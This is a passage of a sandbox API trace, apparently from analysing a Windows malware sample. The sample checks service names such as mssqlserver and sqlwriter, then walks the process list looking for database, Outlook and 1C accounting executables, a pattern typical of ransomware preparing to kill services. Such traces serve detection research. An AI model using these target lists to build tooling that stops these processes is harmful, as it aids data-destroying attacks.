	[0245.774] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0245.774] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0245.774] lstrlenW (lpString="gpsvc") returned 5
	[0245.774] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0245.774] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0245.774] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0245.775] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0245.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0245.775] lstrlenW (lpString="lmhosts") returned 7
	[0245.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0245.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0245.775] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0245.775] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0245.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0245.775] lstrlenW (lpString="MMCSS") returned 5
	[0245.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0245.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0245.775] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0245.775] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0245.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0245.775] lstrlenW (lpString="nsi") returned 3
	[0245.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0245.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0245.775] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0245.775] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0245.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0245.775] lstrlenW (lpString="PlugPlay") returned 8
	[0245.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0245.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0245.775] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0245.775] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0245.775] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0245.775] lstrlenW (lpString="Power") returned 5
	[0245.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0245.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0245.775] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0245.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0245.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0245.776] lstrlenW (lpString="ProfSvc") returned 7
	[0245.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0245.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0245.776] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0245.776] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0245.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0245.776] lstrlenW (lpString="RpcEptMapper") returned 12
	[0245.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0245.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0245.776] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0245.776] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0245.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0245.776] lstrlenW (lpString="RpcSs") returned 5
	[0245.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0245.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0245.776] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0245.776] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0245.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0245.776] lstrlenW (lpString="SamSs") returned 5
	[0245.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0245.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0245.776] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0245.776] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0245.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0245.777] lstrlenW (lpString="Schedule") returned 8
	[0245.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0245.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0245.777] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0245.777] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0245.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0245.777] lstrlenW (lpString="SENS") returned 4
	[0245.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0245.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0245.777] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0245.777] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0245.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0245.777] lstrlenW (lpString="ShellHWDetection") returned 16
	[0245.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0245.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0245.777] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0245.777] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0245.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0245.777] lstrlenW (lpString="Spooler") returned 7
	[0245.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0245.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0245.777] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0245.777] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0245.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0245.777] lstrlenW (lpString="Themes") returned 6
	[0245.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0245.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0245.777] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0245.778] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0245.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0245.778] lstrlenW (lpString="UxSms") returned 5
	[0245.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0245.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0245.778] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0245.778] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0245.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0245.778] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x511de0 | out: hHeap=0x4a0000) returned 1
	[0245.778] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c
	[0245.779] Process32FirstW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0245.779] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0245.779] lstrlenW (lpString="System") returned 6
	[0245.779] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0245.779] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0245.779] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0245.779] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0245.779] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0245.779] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0245.779] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0245.779] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0245.780] lstrlenW (lpString="smss.exe") returned 8
	[0245.780] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0245.780] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0245.780] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0245.780] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0245.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0245.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0245.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0245.780] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0245.780] lstrlenW (lpString="csrss.exe") returned 9
	[0245.780] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0245.780] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0245.780] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0245.780] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0245.780] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0245.780] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0245.780] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0245.780] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0245.781] lstrlenW (lpString="wininit.exe") returned 11
	[0245.781] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0245.781] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0245.781] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0245.781] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0245.781] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0245.781] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0245.781] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0245.781] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0245.781] lstrlenW (lpString="csrss.exe") returned 9
	[0245.781] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0245.781] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0245.781] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0245.781] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0245.781] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0245.781] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0245.781] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0245.781] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0245.782] lstrlenW (lpString="winlogon.exe") returned 12
	[0245.782] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0245.782] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0245.782] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0245.782] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0245.782] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0245.782] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0245.782] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0245.782] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0245.782] lstrlenW (lpString="services.exe") returned 12
	[0245.782] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0245.782] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0245.782] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0245.782] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0245.782] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0245.782] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0245.782] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0245.782] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0245.783] lstrlenW (lpString="lsass.exe") returned 9
	[0245.783] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0245.783] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0245.783] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0245.783] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0245.783] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0245.783] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0245.783] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0245.783] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0245.783] lstrlenW (lpString="lsm.exe") returned 7
	[0245.783] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0245.783] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0245.783] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0245.783] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0245.783] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0245.783] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0245.783] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0245.783] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.783] lstrlenW (lpString="svchost.exe") returned 11
	[0245.783] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0245.784] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.784] lstrlenW (lpString="svchost.exe") returned 11
	[0245.784] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0245.784] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.784] lstrlenW (lpString="svchost.exe") returned 11
	[0245.784] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0245.784] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0245.785] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.785] lstrlenW (lpString="svchost.exe") returned 11
	[0245.785] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0245.785] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.785] lstrlenW (lpString="svchost.exe") returned 11
	[0245.785] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0245.785] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0245.786] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0245.786] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0245.786] lstrlenW (lpString="audiodg.exe") returned 11
	[0245.786] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0245.786] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0245.786] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0245.786] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0245.786] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0245.786] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0245.786] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0245.786] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.786] lstrlenW (lpString="svchost.exe") returned 11
	[0245.786] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0245.786] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0245.786] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0245.786] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0245.786] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0245.786] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0245.786] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0245.787] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0245.787] lstrlenW (lpString="userinit.exe") returned 12
	[0245.787] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0245.787] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0245.787] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1
	[0245.787] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1
	[0245.787] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1
	[0245.787] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1
	[0245.787] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1
	[0245.787] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0245.787] lstrlenW (lpString="explorer.exe") returned 12
	[0245.787] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1
	[0245.787] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1
	[0245.787] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1
	[0245.787] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1
	[0245.787] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1
	[0245.788] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0245.788] lstrlenW (lpString="dwm.exe") returned 7
	[0245.788] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0245.788] lstrlenW (lpString="svchost.exe") returned 11
	[0245.788] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0245.788] lstrlenW (lpString="swpesp.exe") returned 10
	[0245.788] Process32NextW (in: hSnapshot=0x12c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0245.789] lstrlenW (lpString="spoolsv.exe") returned 11
